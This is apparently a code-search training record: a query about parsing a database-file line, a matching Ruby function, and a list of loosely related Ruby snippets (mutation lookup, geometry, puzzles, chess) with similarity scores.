['F',['L']]\n sdrm[115] = ['Y',['F']]\n sdrm[116] = ['F',['Y']]\n sdrm[151] = ['Q',['M']]\n sdrm[184] = ['M',['V','I']]\n sdrm[210] = ['L',['W']]\n sdrm[215] = [\"T\",[\"Y\",\"F\",\"I\",\"C\",\"D\",\"V\",\"E\",\"S\"]]\n sdrm[219] = [\"K\",[\"Q\",\"E\",\"N\",\"R\"]]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n\n end\n end\n return out_hash\nend", "def run_race(horses_array)\n horses_array.sample\nend", "def arc_test_manual_array(mill = nil)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n #############\r\n ### ARC TEST #0\r\n #############\r\n if (mill == nil)\r\n mill = CNCMill.new\r\n mill.job_start()\r\n mill.home()\r\n end #if\r\n\r\n # variables used here to make\r\n # easy for reader.\r\n circ_x = 3.0\r\n circ_y = 2.0\r\n min_radius = 0.7\r\n max_radius = 0.95\r\n beg_angle = 0\r\n degree_inc = 4\r\n depth = -0.5\r\n sweep_angle = 30\r\n width = 0.1\r\n\r\n curr_beg_angle = beg_angle\r\n lc =0\r\n curr_min_radius = min_radius\r\n # illustrate an easy way to get a \r\n # concentric wrings of arc pockets\r\n while (lc < 3)\r\n max_radius = curr_min_radius + width\r\n curr_beg_angle = beg_angle\r\n lc += 1\r\n # illustrate an easy way to get a\r\n # repeating array of arc pockets\r\n cc = 0\r\n while (cc < 4)\r\n cc += 1\r\n end_angle = curr_beg_angle + sweep_angle\r\n aRes = arc_segment_pocket(mill, \r\n circ_x,\r\n circ_y,\r\n curr_min_radius, \r\n max_radius,\r\n curr_beg_angle,\r\n end_angle, \r\n 0, \r\n depth,\r\n degree_inc)\r\n mill.retract()\r\n curr_beg_angle = end_angle + (sweep_angle * 0.8)\r\n end #while\r\n width = width * 1.2\r\n curr_min_radius = max_radius + (width * 2)\r\n end #while\r\n return aRes\r\nend", "def sdrm_in_bulk(sequences, cutoff = 0, temp_r_dir = File.dirname($0))\n region = \"IN\"\n rf_label = 2\n start_codon_number = 53\n n_seq = sequences.size\n mut = {}\n mut_com = []\n aa = {}\n point_mutation_list = []\n sequences.each do |name,seq|\n s = Sequence.new(name,seq)\n s.get_aa_array(rf_label)\n aa_seq = s.aa_array\n aa[name] = aa_seq.join(\"\")\n record = sdrm_int(aa_seq, start_codon_number)\n mut_com << record\n record.each do |position,mutation|\n if mut[position]\n mut[position][1] << mutation[1]\n else\n mut[position] = [mutation[0],[]]\n mut[position][1] << mutation[1]\n end\n end\n end\n mut.each do |position,mutation|\n wt = mutation[0]\n mut_list = mutation[1]\n count_mut_list = count(mut_list)\n count_mut_list.each do |m,number|\n ci = r_binom_CI(number, n_seq, temp_r_dir)\n label = number < cutoff ? \"*\" : \"\"\n point_mutation_list << [region, n_seq, position, wt, m, number, (number/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n end\n point_mutation_list.sort_by! {|record| record[2]}\n\n link = count(mut_com)\n link2 = {}\n link.each do |k,v|\n pattern = []\n if k.size == 0\n pattern = ['WT']\n else\n k.each do |p,m|\n pattern << (m[0] + p.to_s + m[1])\n end\n end\n link2[pattern.join(\"+\")] = v\n end\n linkage_list = []\n link2.sort_by{|_key,value|value}.reverse.to_h.each do |k,v|\n ci = r_binom_CI(v, n_seq, temp_r_dir)\n label = v < cutoff ? \"*\" : \"\"\n linkage_list << [region, n_seq, k, v, (v/n_seq.to_f).round(5), ci[0], ci[1], label]\n end\n\n report_list = []\n\n div_aa = {}\n aa_start = start_codon_number\n\n aa_size = aa.values[0].size - 1\n\n (0..aa_size).to_a.each do |p|\n aas = []\n aa.values.each do |r1|\n aas << r1[p]\n end\n count_aas = count(aas)\n div_aa[aa_start] = count_aas.sort_by{|k,v|v}.reverse.to_h\n aa_start += 1\n end\n\n div_aa.each do |k,v|\n record = [region, k, n_seq]\n $amino_acid_list.each do |amino_acid|\n aa_count = v[amino_acid]\n record << (aa_count.to_f/n_seq*100).round(4)\n end\n report_list << record\n end\n\n return [point_mutation_list, linkage_list, report_list]\nend", "def shore_acres_roads\n shore_acres_north = 40.95352042058797\n shore_acres_east = -73.71407747268677\n shore_acres_south = 40.94329381595473\n shore_acres_west = -73.73105049133301\n OverpassGraph.get_roads(shore_acres_north, shore_acres_east, shore_acres_south, shore_acres_west, [], [])\nend", "def get_squares(array)\n array.map! do |x|\n if (x**(1/2)).class == Fixnum\n x\n end\n end\n array.compact.uniq.sort!\nend", "def find_all_sequences(x,y)\n ret = []\n ret << [[x,y],[x+1,y],[x+2,y],[x+3,y]] if x+3 <= 19\n ret << [[x,y],[x,y+1],[x,y+2],[x,y+3]] if y+3 <= 19\n ret << [[x,y],[x+1,y+1],[x+2,y+2],[x+3,y+3]] if y+3 <= 19 && x+3 <= 19\n ret << [[x,y],[x-1,y+1],[x-2,y+2],[x-3,y+3]] if x-3 >= 0 && y+3 <= 19\n ret\nend", "def contain_all_rots(strng, arr)\n array = strng.chars\n number = 0\n result = []\n (array.size - 1).times do \n array.rotate!\n result << array\n end\n result.map! {|y| y.join(\"\")}\n # result.all?{|x| arr.include?(x)}\nend", "def get_squares(array)\n square_array = []\n for number in array\n square = number * number\n for potential_square in array\n if square == potential_square\n square_array << number\n break\n end\n end\n \n end\n return square_array.sort\nend", "def quadratic_residues(modulus)\n (1..(modulus - 1)).map { |n| n**2 % modulus }.uniq.sort\n end", "def split_consonant_cluster\n coda = consonant_queue.clone\n onset = []\n while POSSIBLE_ONSETS.include?([coda.last.try(:symbol)] + onset.map {|phoneme| phoneme.symbol}) do\n onset.unshift coda.pop\n end\n [coda, onset]\n end", "def rectangles_finder(arr)\n rectangle_spots = {} # will keep track of where rectangles occupy\n rectangles = [] # will keep track of the rectangle corners for output\n\n arr.each_with_index do |row, i|\n row.each_with_index do |el, j|\n if el == 1 && !rectangle_spots.include?([i, j])\n # Found a new rectangle corner\n ul = [i, j]\n br = bottom_right(arr, ul)\n\n # Add the rectangle corners to the output\n rectangles << [ul, br]\n\n # Add the new coordinates to the hash\n rectangle_spots = update_hash(rectangle_spots, [ul, br])\n end\n end\n end\n\n # Return the rectangles\n rectangles\nend", "def findlargestdrop(arr)\n\n\n\nend", "def qualified(array, s)\n result = []\n array.each do |sub_array|\n if sub_array.sum >= s\n result << sub_array\n else next\n end\n end\n result\nend", "def gettrys(tcoords)\n # Indexa coordenadas de las lineas con menor incognitas\n p \"hmiss............\"\n p tcoords[:hmiss]\n hlower_c = lowerabsent(tcoords[:hmiss]) # [{:hindex=>x, :coords=> [[]]\n vlower_c = lowerabsent(tcoords[:vmiss],\"v\") # [{:vindex=>x, :coords=>[[]]\n slower_c = lowerabsent(tcoords[:smiss],\"s\") # [{:sindex=>x, :coords=>[[]]\n\n # combierte las coordenadas en numeros -> contiene menor incognitas\n hlower_n = hlower_c.collect {|line| missto_n(line[:hindex])} # [{:hindex=>0, :numbers=>[3, 4]}, x]\n vlower_n = vlower_c.collect {|line| missto_n(line[:vindex],tcoords[:vwhole], \"v\")} # [{:vindex=>0, :numbers=>[3, 4]}, x]\n #slower_n = slower_c.collect {|line| missto_n(line[:sindex], tcoords[:swhole], \"s\")} # [{:sindex=>2, :numbers=>[4, 6, 8]}, x]\n p \"****** H vs V *******\"\n p hlower_c.length < vlower_c.length ? \"h < v\" : \"h > v\"\n # cantidad de incognitas decide si se usa h o v\n p lower_c = hlower_c.length < vlower_c.length ? hlower_c : vlower_c\n lower_n = lower_c[0].keys[0][0] == \"h\" ? hlower_n : vlower_n\n # le pone cuadro a cada coord y separa coordenadas, una por linea\n hvindex_sindex_coords = locatecoord_onsquere(lower_c, tcoords[:swhole])\n sqr_n = hvindex_sindex_coords.collect {|item| missto_n(item[:sindex], tcoords[:swhole],\"s\")}\n # buscar que sqr tiene menos coincidencias\n hvindex_sindex_coords.collect { |main|\n main[:sqr_options] = sqr_n.collect {|numbers| numbers[:numbers] if main[:sindex] == numbers[:sindex] }.compact.flatten\n main[:options] = lower_n.collect {|numbers| numbers[:numbers] if main[main.keys[0]] == numbers[numbers.keys[0]] }.compact.flatten\n main[:reduce] = main[:options] - ([1,2,3,4,5,6,7,8,9] - main[:sqr_options])\n\n }\n # numbers[:numbers] if main[main.keys[0]] == numbers[numbers.keys[0]]\n result = hvindex_sindex_coords.group_by {|g| g[:reduce].length}\n\n p \"*******start Result\"\n reduce_index = result.collect {|x,y| x }.min\n result[reduce_index].map {|e| p e} # inspect\n result[reduce_index].map do |item|\n\n case item.keys[0][0]\n when \"h\"\n if item[:reduce].length == 1\n x = item[:coord][0]\n y = item[:coord][1]\n @tbls[:notformated][x][y] = item[:reduce][0]\n @tbls[:formated][x][y] = formato(@tbls[:notformated][x][y].to_s,:red, :yellow)\n elsif item[:reduce].length > 1\n # Pregunta en linea vertical\n end\n when \"v\"\n p \"################## - caso vertical pendiente - ###################\"; exit\n end\n\n end\n\n end", "def rectilinear_obstruction_array(destination_row, destination_col)\n # Store initial variables\n new_row_position = current_row_index\n new_column_position = current_column_index\n obstruction_array = []\n # Determine horizontalincrements\n if new_row_position == destination_row # protector piece is on same row with king\n # begin moving across column positions\n column_increment = destination_col > new_column_position ? 1 : -1\n new_column_position += column_increment\n while (destination_col - new_column_position).abs > 0\n obstruction_array << [new_row_position, new_column_position]\n new_column_position += column_increment\n end\n elsif new_column_position == destination_col # protector piece is on same column with king\n # begin moving across row positions\n row_increment = destination_row > new_row_position ? 1 : -1\n new_row_position += row_increment\n while (destination_row - new_row_position).abs > 0\n obstruction_array << [new_row_position, new_column_position]\n new_row_position += row_increment\n end\n end\n # return obstruction array (values will be checked later )\n obstruction_array\n end", "def max_min_radius(cluster)\n max_min_pos = []\n max_min_length = 0\n avg_length = 0\n cluster.each do |xy|\n all_radi = find_radi(xy, cluster)\n sum = 0\n all_radi.each {|r| sum += r}\n avg_radius = sum.to_f / 6\n min_radius = all_radi.min\n if min_radius > max_min_length\n \tmax_min_pos = xy\n max_min_length = min_radius\n \tavg_length = avg_radius\n elsif min_radius == max_min_length && avg_radius > avg_length\n \tmax_min_pos = xy\n \tmax_min_length = min_radius\n \tavg_length = avg_radius\n end\n end\n results = [max_min_pos, max_min_length]\n return results \n end", "def analyze_sonorities\n sonority_to_test = Set.new # A work space for slicing\n result_counts = [] # Success counters of columns\n\n # Loop on columns in the matrix and extract out the sonority. Compare that to the dictionary of vertical sets to\n # compute a score for each column.\n\n @groups[0][0].each_index do |column_id| # Loop on number of number of columns\n result_counts[column_id] = 0 # Initialize counter for column\n sonority_to_test.clear\n\n # Slice through the voices of all groups and their rows to create a sonority to test.\n @groups.each_index do |group_id|\n @groups[group_id].each_index { |row_id| sonority_to_test.add( @groups[group_id][row_id][column_id] ) }\n end\n\n # Search the dictionary of vertical sets we are looking for and increment column counter if found.\n @search_sets.each { |set_to_search| result_counts[column_id] += 1 if set_to_search.subset?(sonority_to_test) }\n end\n\n # Accumulate a cross total of column result to create a final score for the current rotation snapshot.\n score = result_counts.inject(0) { |sum, col_result| sum += col_result }\n\n # If we meet the search criteria then add results to report totals and optionally print details.\n if @minimax_score.include?(score)\n accumulate_summary_totals(score)\n\n # Optionally print details of this rotation snapshot.\n print_details(result_counts, score) if @report_details\n end\n\n print_rotation_count unless @report_details # run progress meter if in summary mode\n\n end", "def squaragonal?(square)\n # tbrange = (0...square.length).to_a\n btrange = (0...square.length).to_a.reverse\n tb = Array.new\n bt = Array.new\n\n btrange.each_with_index do |i1, i2|\n tb << square[i1][i1]\n bt << square[i2][i1]\n end\n\n return true if tb.uniq.count == 1 || bt.uniq.count == 1\n false\nend", "def get_squares(num_array)\n perfect_squares = num_array.select do |num|\n Math.sqrt(num) % 1 == 0\n end\n perfect_squares.sort.uniq\nend", "def subarray_bitwise_o_rs(a)\n result_set = Set.new()\n a.size.times do |i|\n (1..a.size-i).each do |length|\n subarray = a[i, length]\n #puts subarray.inspect\n result = subarray.reduce(0) do |bor, elem|\n bor | elem\n end\n #puts result\n result_set << result\n end\n end\n result_set.size\nend", "def spiral_access (spiral_array, &block)\n r_array = unravel(spiral_array)\n r_array.map(&block)\nend", "def edge_array\n\t\t\t to_return = @responses.collect { |item| item.sollutions }\n\t\t\t return to_return\n\t\tend", "def get_squares (arrayNos)\n output = []\n arrayNos.each do |num|\n squareNum = Math.sqrt(num)\n if (squareNum % 1).zero?\n output.push(num)\n end\n end\n puts output.uniq.sort.join(',')\nend", "def find_all(input)\n solutions = []\n\n while any_rectangles?(input) do\n solution = solution(input)\n\n solutions << solution\n\n fill_rectangle input, solution\n end\n\n solutions\nend", "def findCoordinates(spiralLocation)\n\treturner=[nil,nil]\n\tring=findRing(spiralLocation)#ring that this spiral location is on\n\tputs ring\n\tringLocation=spiralLocation-getArea(ring-1)\n\tringSection=ceiling(ringLocation/2.0/ring)\n\t#ok so, what we've got out of the ring section is ...\n\t# 1. whether we are on the x (if it's odd) or on the y (if it's even)\n\t# 2. what we need to subtract (ring section-ring)\n\t#soooo ... let's find out which one is which first\n\tif(ringSection%2)\n\t\treturner[0]=ring*-1*(2-ringSection)\n\t\treturner[1]=ringLocation-ringSection*ring\n\telse\n\t\treturner[1]=ring*-1*(3-ringSection)\n\t\treturner[0]=ringLocation-ringSection*ring\n\tend\n\treturn returner\nend", "def get_squares(numbers)\n\n\tnumbers.select {|n| numbers.include? n*n}.sort #didn't even get close on this one.\n\nend", "def spiral_access(array, &block)\n unless array.length == 0 || array[0].length == 0\n array[0].length.times { final_array << array[0].shift }\n array.delete_at(0)\n array.length.times { |i| final_array << (array[i].pop)}\n array.last.length.times { final_array << (array.last.pop)} unless array.last.nil?\n array.delete_at(array.length-1)\n count = array.length -1\n while count >= 0\n final_array << (array[count].shift)\n count -= 1\n end\n two_d(array, &block) unless array.length == 0\n end\n final_array.delete(nil)\n final_array.each { |x| block.call x }\nend", "def overnight_media_rclist(out_collection, overnight_antibiotic_mat)\n coordinates = out_collection.get_non_empty.each_slice(11).to_a # 11 comes from the known number of samples in each row\n kan_media_coordinates = []\n kan_chlor_coordinates = []\n no_anti_media_coordinates = []\n overnight_antibiotic_mat.each_with_index do |row, r_idx|\n row.each_with_index do |col, c_idx|\n if col == 'Kan'\n kan_media_coordinates.push(coordinates[r_idx][c_idx])\n elsif col == 'Kan_Chlor'\n kan_chlor_coordinates.push(coordinates[r_idx][c_idx])\n elsif col == 'None'\n no_anti_media_coordinates.push(coordinates[r_idx][c_idx])\n end\n end\n end\n return [[no_anti_media_coordinates,'M9'], [kan_media_coordinates,'M9 + Kan'], [kan_chlor_coordinates, 'M9 + Kan + Chlor']]\n end", "def arround_square(scope = 1)\n sl = scope * COORDINATE_PER_KM\n return [XNavi::Coordinate.new(@x - sl, @y - sl), XNavi::Coordinate.new(@x+sl, @y+sl)]\n end", "def lcts(array)\nend", "def find_ones\n ones_arr = []\n\n @image.each_index do |row|\n @image[row].each_index do |column|\n if @image[row][column] == 1\n ones_arr << { :x => column, :y => row }\n end\n end\n end\n return ones_arr\n end", "def begins_with_r(array)\n array.all? do |tool|\n tool.start_with?(\"r\")\nend\nend", "def ref_array_generator\n ref_array = []\n \n self.num_mines.times do\n ref_array.push(9)\n end\n \n (self.height * self.width - self.num_mines).times do\n ref_array.push(0)\n end\n \n return ref_array\n end", "def qr(a, mode:\"reduce\")\n qr,tau, = Lapack.call(:geqrf, a)\n *shp,m,n = qr.shape\n r = (m >= n && %w[economic raw].include?(mode)) ?\n qr[false, 0...n, true].triu : qr.triu\n mode = mode.to_s.downcase\n case mode\n when \"r\"\n return r\n when \"raw\"\n return [qr,tau]\n when \"reduce\",\"economic\"\n # skip\n else\n raise ArgumentError, \"invalid mode:#{mode}\"\n end\n if m < n\n q, = Lapack.call(:orgqr, qr[false, 0...m], tau)\n elsif mode == \"economic\"\n q, = Lapack.call(:orgqr, qr, tau)\n else\n qqr = qr.class.zeros(*(shp+[m,m]))\n qqr[false,0...n] = qr\n q, = Lapack.call(:orgqr, qqr, tau)\n end\n return [q,r]\n end", "def schedule_raids(array)\n array.each do |key, value1|\n value1['raids'].each do |value2|\n unless Time.parse(value2['0']).past?\n new_cron(\n value2['0'], key, value2['key'],\n \"**#{value2['name']} Raid** is starting now!\"\n )\n end\n unless Time.parse(value2['15']).past?\n new_cron(\n value2['15'], key, value2['key'],\n \"**#{value2['name']} Raid** is starting in 15 minutes!\"\n )\n end\n unless Time.parse(value2['30']).past?\n new_cron(\n value2['30'], key, value2['key'],\n \"**#{value2['name']} Raid** is starting in 30 minutes!\"\n )\n end\n unless Time.parse(value2['45']).past?\n new_cron(\n value2['45'], key, value2['key'],\n \"**#{value2['name']} Raid** is starting in 45 minutes!\"\n )\n end\n next if Time.parse(value2['60']).past?\n new_cron(\n value2['60'], key, value2['key'],\n \"**#{value2['name']} Raid** is starting in 1 hour!\"\n )\n end\n end\nend", "def squares\n [@a1, @a2, @a3, @b1, @b2, @b3, @c1, @c2, @c3]\n\n end", "def mine_locations\n mine_array = []\n until mine_array.length == 9\n row = (0..9).to_a.sample\n column = (0..9).to_a.sample\n unless mine_array.include?([row,column])\n mine_array << [row, column]\n end\n end\n mine_array\n end", "def get_squares(range)\n\tresult= []\n\ti= 1\n\twhile( i*i < range.end)\n\t\tresult << i*i\n\t\ti+= 1\n\tend\n\treturn result\nend", "def make_raptors(birds_arr)\n yield(birds_arr)\nend", "def get_ants\n puts \"ANT FARM!\"\n ants = Array.new #ants could probably just be an array of hashes, since we don't yet need a full object...\n \n #make 100 ants\n num_ants = 100\n (0...num_ants).each do |i|\n ant = Ant.new(i)\n ants.push(ant)\n end\n \n edges_to_check = Set.new\n edges_by_node = @nodes.merge(@nodes) {|k| []}\n @edges.each do |e_id, edge|\n edges_to_check.add(e_id)\n edges_by_node[edge.a.id].push(e_id)\n edges_by_node[edge.b.id].push(e_id)\n end\n\n journeys = [[START]] #last item of journey array is the current island\n journeys.each do |path| #go through each journey on the path \n island = path[-1] #the last item is where we're moving from\n #grab all the edges connected to that path that are new or involve new terminals\n new_edge_ids = edges_by_node[island]\n new_edge_ids.each do |e_id|\n if edges_to_check.include?(e_id) #if new path to take\n new_path = path[0...-1] + [e_id, (@edges[e_id].a.id == island ? @edges[e_id].b.id : @edges[e_id].a.id)]\n # puts \"new path\",new_path.to_s\n journeys.push(new_path)\n edges_to_check.delete(e_id)\n end\n end\n end\n\n \n #check validity, and mark bad paths by maing them negative\n journeys.each do |path|\n path.slice!(-1) #remove the island from the path\n path.each_with_index do |e_id,i|\n if @validity[e_id] < 0 #if is not valid\n path[i] *= -1\n #path.slice!(i..-1) #remove the rest of the path, since we won't need it?\n end\n end\n end\n\n puts 'journeys: '+journeys.to_s, 'number of journeys: '+journeys.length.to_s \n\n #divide the journeys among the ants\n ants.each_with_index {|ant,i| ant.plan = journeys[(i+1)%journeys.length]}\n \n #puts \"ants we made\", ants\n return ants\n end", "def get_arc_points(cx,cy,radius, beg_angle, end_angle, degree_inc = 1.0)\r\n# - - - - - - - - - - - - - - - - - - - -\r\n deg = beg_angle\r\n degree_inc = degree_inc.abs\r\n ares = Array.new\r\n while (deg < end_angle)\r\n #print \"(deg = \", deg, \")\\n\"\r\n cp = calc_point_from_angle(cx,cy, deg, tradius)\r\n ares.append(cp)\r\n deg += degree_inc\r\n end #while\r\nend", "def match_range sq1, sq2, how \n\t\tmatches = 0\n\n\t\twater_count = 0\n\t\trange = (-radius..radius)\n\t\trange.each do |row|\n\t\t\tFiber.yield\n\n\t\t\trange.each do |col|\n\t\t\t\tsq_a = sq1.rel [ row, col ]\n\t\t\t\tsq_b = sq2.rel target_coord( row, col, how )\n\n\t\t\t\tnext if sq_a.region.nil? or sq_b.region.nil?\n\n\t\t\t\tif sq_a.water? == sq_b.water?\n\t\t\t\t\tmatches += 1\n\t\t\t\t\twater_count += 1 if sq_a.water?\n\t\t\t\telse\n\t\t\t\t\treturn nil\n\t\t\t\tend\n\n\t\t\tend\n\t\tend\n\n\t\t# Mark matches without water as not valid\n\t\tmatches = 0 if water_count == 0\n\n\t\tmatches\n\tend", "def favor_corners(moves) # array of moves: [ a1, b2, c3, ... ]\n a = []\n moves.each { |e| a.push(e) if CORNERS.include?(e) }\n\n if a.length == 0\n moves\n else\n a\n end\nend", "def authorized_squares_generic matrixes, distance_max\n return [] if !self.alive?\n authorized_squares_array = []\n matrixes.each do |matrix|\n (1..distance_max).each do |i|\n cur_x = x+i*matrix[0]\n cur_y = y+i*matrix[1]\n if Chess::Board.in_board? cur_x, cur_y\n square_candidate = board.squares[cur_x][cur_y]\n if (occuped = square_candidate.occuped?)\n if occuped == @color\n break\n else\n authorized_squares_array += [square_candidate]\n break\n end\n else\n authorized_squares_array += [square_candidate]\n end\n else\n break\n end\n end\n end\n return authorized_squares_array\n end", "def populate_round(hurdles, round_size_array, heats)\n #init counting variables\n hurdles_for_heat=[];heat_full=0;heat_counter=0;i=0\n#puts(\"round_size_array = \"+round_size_array.to_s+\"; N_hurdles=\"+hurdles.count.to_s)\n\n round_size_array.size.times do\n round_size_array[heat_counter].times do\n #add racer to heat array and increment heat_full\n hurdles_for_heat << hurdles[i]; heat_full+=1; i+=1\n #build a heat when enough racers are gathered\n if heat_full==round_size_array[heat_counter]\n heats[heat_counter].hurdles << hurdles_for_heat\n\n #allocate lanes for the new heat\n heats[heat_counter] = allocate_lanes(heats[heat_counter],hurdles.first.round)\n#lo gger.debug \"LANES return: \"+heats[heat_counter].heat_hurdles[0].lane.to_s\n #reset counting vars for the next heat\n hurdles_for_heat=[];heat_full=0;heat_counter+=1\n end\n end\n end\n\n#logger.debug \"round lane:\"+heats[0].heat_hurdles[0].lane.to_s\n return heats\n end", "def unique_paths_with_obstacles(obstacle_grid)\n row = obstacle_grid.size\n col = obstacle_grid.first.size\n result = Array.new(col + 1, 0)\n result[0] = 1 if obstacle_grid[0][0] == 0\n for i in 0...row\n for j in 0...col\n result[j] += result[j - 1]\n result[j] = 0 if obstacle_grid[i][j] == 1\n end\n end\n result[col - 1]\nend", "def sp_resources_all\n sp_resources = Array.new\n mini_map_cells.each do |cell|\n sp_resources << cell.sp_resource unless cell.sp_resource.blank?\n end\n return sp_resources.uniq\n end", "def checkmate(k,a)\n # Checkmate test where king may be: k_attacks - used - king_attaks - cells_behind_the_king\n all = all_position\n p used = [k,a]\n k_attacks = king_position(k).uniq \n a_attacks = (amazon_postion(a) - free_cells(k,a)).uniq\n stand_positions = a_attacks - k_attacks - used\n safe_squares = (all - k_attacks - a_attacks - used).uniq\n ans = stand_positions.reduce([]){ |acc,x| \n if (safe_squares & king_position(x)).empty?\n p x\n acc.push(x) \n end\n acc\n }\n p ans\n ans.size\n \nend", "def residuals\n result = []\n @domain.zip(@image) do |x, y|\n result << y - (@a * x + @b)\n end\n result\n end", "def make_comatrix(arrs)\n init_member(arrs[0].count)\n update_mean_and_r(arrs)\n end", "def get_rooms(allocations)\n checked_rooms = []\n checked = 0\n @coordinator_rooms.each do |room|\n checked = 0\n allocations.each do |allocation|\n if allocation.room_id == room.id\n checked = 1\n break\n end\n end\n checked_rooms << room if checked.zero?\n end\n checked_rooms\n end", "def initialize_sensor_array(rigid_body)\n shapes = []\n\n RADIUS_STEPS.times do |distance|\n short = RADIUS_POWER_BASE**distance * RADIUS_MULTIPLIER\n long = RADIUS_POWER_BASE**(distance + 1) * RADIUS_MULTIPLIER\n\n shapes += initialize_sensor_circle(rigid_body, short, long)\n end\n\n shapes\n end", "def rec_intersection(r1, r2)\n p1 = [[r1[0][0],r2[0][0]].max , [r1[0][1],r2[0][1]].max]\n p2 = [[r1[1][0],r2[1][0]].min , [r1[1][1],r2[1][1]].min]\n if p1[0] < p2[0] && p1[1] < p2[1]\n return [p1,p2]\n else\n return nil\n end\nend", "def sdrm_int(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[66] = ['T',['A','I','K']]\n # sdrm[68] = ['L',['V']] not included any more\n sdrm[74] = ['L',['M']]\n sdrm[92] = ['E',['Q']]\n sdrm[95] = ['Q',['K']]\n sdrm[97] = ['T',['A']]\n sdrm[121] = ['F',['Y']]\n sdrm[140] = ['G',['A','S','C']]\n sdrm[143] = [\"Y\",[\"C\",\"H\",\"R\"]]\n sdrm[147] = ['S',['G']]\n sdrm[148] = ['Q',['H','K','R']]\n sdrm[155] = ['N',['S','H']]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n\n end\n end\n return out_hash\nend", "def right(r, sc, ec, array, final_array) #r for row, sc start column, end column\n (sc..ec).each do |num|\n final_array << array[r][num]\n end\nend", "def paths(arrs)\n arrs.inject([[]]) do |paths, arr|\n arr.map {|e| paths.map {|path| path + [e]}}.flatten(1)\n end\n end", "def cyclospectrum_linear(peptide)\n cyclospectrum = []\n for i in 0..peptide.length-1\n sub = 0\n for j in i..peptide.length-1\n sub += peptide[j]\n cyclospectrum << sub\n end\n end\n cyclospectrum\nend", "def parties(location, state)\n if location == :north\n soldiers_at(:north, state).map { |soldier| [soldier] } # one guy\n else\n soldiers_at(:south, state).combination(2).to_a # two guys\n end\nend", "def get_combined_interval(interval_arr, left_edge, right_edge)\n p \"interval_arr: #{interval_arr}\"\n interval_arr.each do |interval| # get combined interval\n p \"interval: #{interval}\"\n p \"left_edge: #{left_edge} right_edge: #{right_edge}\"\n if interval[0] >= 0 && interval[0] < left_edge && interval[1] >= left_edge\n left_edge = interval[0]\n interval_arr.delete(interval)\n elsif interval[0] < 0 && interval[0] > left_edge && interval[1] <= left_edge\n left_edge = interval[0]\n interval_arr.delete(interval)\n elsif interval[1] >= 0 && interval[1] > right_edge && interval[0] <= right_edge\n right_edge = interval[1]\n interval_arr.delete(interval)\n elsif interval[1] < 0 && interval[1] < right_edge && interval[0] >= right_edge\n right_edge = interval[1]\n interval_arr.delete(interval)\n end\n end\n\n interval_arr.each do |interval| # get intervals not part of combined interval\n \n end\n puts\n [interval_arr, left_edge, right_edge]\nend", "def icecreamParlor(m, arr)\n # Complete this function\n res = []\n arr.each_index do |i|\n if i + 1 !=nil\n j = i + 1\n while j <= arr.length - 1\n if arr[i]+arr[j] == m\n res.push([i+1,j+1])\n end\n j+=1\n end\n end\n end\n res\nend", "def spiral_access(arrs, iteration = 0, &block)\n maxY = arrs.length - 1\n maxX = arrs.first.length - 1\n \n return if maxY/2 < iteration || maxX/2 < iteration\n \n # top row\n iteration.upto maxX-iteration do |x|\n block.call arrs[iteration][x]\n end\n\n # right column\n (iteration + 1).upto maxY-iteration do |y|\n block.call arrs[y][maxX-iteration]\n end\n\n # bottom row\n (maxX - 1 - iteration).downto iteration do |x|\n block.call arrays[maxY-iteration][x]\n end\n\n # left column\n (maxY - 1 - iteration).downto iteration+1 do |y|\n block.call arrays[y][iteration]\n end\n\n spiral_access arrs, iteration+1, &block\n \nend", "def squares\r\n [@a1, @a2, @a3, @b1, @b2, @b3, @c1, @c2, @c3]\r\n \r\nend" ]
[ "0.57883084", "0.55295974", "0.54605013", "0.5421821", "0.54022443", "0.5327467", "0.5319856", "0.5249486", "0.517589", "0.5160459", "0.5139191", "0.5129507", "0.5119351", "0.5116142", "0.510882", "0.51056117", "0.50999314", "0.5088872", "0.50880206", "0.5084541", "0.5074132", "0.50631315", "0.5058529", "0.5055793", "0.50456846", "0.50436014", "0.5041333", "0.5002372", "0.49976665", "0.4992497", "0.49900863", "0.49895087", "0.4967999", "0.49648023", "0.49430326", "0.4937219", "0.49334624", "0.4931258", "0.49207145", "0.490617", "0.48668", "0.48473546", "0.48406556", "0.48399872", "0.48369923", "0.48367962", "0.48279408", "0.48187384", "0.48098457", "0.4798034", "0.4791158", "0.47864968", "0.47719637", "0.47639406", "0.47628886", "0.47552824", "0.4749331", "0.47404727", "0.4738959", "0.47240695", "0.47215915", "0.47192731", "0.4718812", "0.471462", "0.4711568", "0.47058532", "0.47056085", "0.4697421", "0.46951765", "0.46914092", "0.46888685", "0.46801573", "0.4680133", "0.46745855", "0.4667852", "0.46660113", "0.46648976", "0.46625686", "0.4654189", "0.4650421", "0.4648439", "0.46477255", "0.46458992", "0.46402505", "0.4633304", "0.46284643", "0.46225867", "0.4621122", "0.4620268", "0.4614933", "0.4613754", "0.46110126", "0.4603496", "0.46025229", "0.4598489", "0.45967436", "0.45850968", "0.45831066", "0.45830718", "0.45780778" ]
0.73080885
0
parse one line of database file line: string from database file
def parse_line(line) if (line.include?(';')) arr = line.split(';') tmp = arr[0].to_i resonance = arr[1].delete('[').delete(']').split(',').map{|x| x.to_f} [tmp, arr[2].to_i, resonance] else false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
